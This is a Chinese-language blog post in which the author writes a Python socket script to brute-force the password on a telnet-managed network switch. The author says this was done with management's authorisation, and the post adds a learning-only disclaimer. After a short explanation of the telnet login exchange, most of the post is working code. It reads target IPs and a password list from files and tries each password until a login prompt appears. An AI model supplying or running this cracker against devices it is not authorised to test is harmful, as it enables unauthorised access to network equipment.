前言
最近博主单位的网络出现了故障,想要登陆到交换机中发现有密码。然而密码没有人知道,这可真难为人!博主第一时间想到的是hydra暴力破解工具,然而发现不支持密码验证的telnet。在获取领导的授权下,博主使用socket编写一款telnet密码爆破工具。警告:该程序仅供学习telnet协议工作原理,禁止用于违法行为。
环境分析
交换机的管理地址是:192.168.133.130
博主使用的地址是:192.168.133.1
使用crt登陆时的显示画面如下:
通过wireshark抓包分析,我们大概得知了telnet的工作过程
登陆过程如下:
第一步:首先客户端发送\r\n开始telnet登陆
第二步:服务器返回验证的方式
第三步:客户端输入验证的密码
第四步:服务器返回登陆结果
代码
# -*- coding:utf-8 -*-
#作者:猫先生的早茶
"""
从ip.txt文件中获取ip地址
从passowrd.txt文件中获取密码
尝试破解使用密码验证的telnet
"""
import socket,sys,time
class Telnet():
def __init__(self):
pass
def read_file(self,filename):
with open (filename,'r',encoding='utf-8') as read_file:
return read_file.read().split('\n')
def login(self,ip,password_list,port=23):
#创建客户端对象
client = socket.socket()
client.settimeout(30)
#连接到目标主机
try:
client.connect((ip,port))
except:
print ("[-]Don't connect {}:{}".format(ip,port))
sys.exit()
else:
print ('[+]Connect Sussful!')
#发送\r\n等待1秒服务端回应登陆方式
client.send(b'\r\n')
time.sleep(1)
print ('[+]等待服务器响应中。。。')
#接受服务器回应的数据
data = client.recv(65535)
print (data)
#检测是否要输入密码
if b'Password' in data:
for password in password_list:
#输入密码
print ('[-]正在尝试使用密码:{} 登陆{}'.format(password,ip))
client.send(password.encode('utf-8')+b'\r\n')
#接受服务器返回的数据
time.sleep(1)
print ('[+]等待服务器回应中。。。')
#清楚缓存并接受服务器数据
temp_data =b''
temp_data = client.recv(8192)
print (temp_data)
#判断登陆成功,如果成功则退出破解
if b'>' in temp_data:
print ("[+]Login Sussful!{}:{} password:{}".format(ip,port,password))
break
#判断接受到的是报错信息
if b'Error: The password is invalid.'in temp_data or b'%Username or password is invalid.' in temp_data and b'Password:'not in temp_data:
while True:
#当收到错误信息,发送\r\n模拟用户敲回车
#client.close()
#创建客户端对象
#client = socket.socket()
#client.connect((ip,port))
client.send(b'\r\n')
time.sleep(1)
#清除缓存
temp_data = b''
#接受用户数据
temp_data = client.recv(8192)
print (temp_data)
#检测是否可以输入密码
if b'Password:' in temp_data:
break
def main(self):
#读取ip文件
ip_list = self.read_file('ip.txt')
#读取密码文件
password_list = self.read_file('password.txt')
#尝试登陆
for ip in ip_list[:1]:
self.login(ip,password_list)
telnet = Telnet()
telnet.main()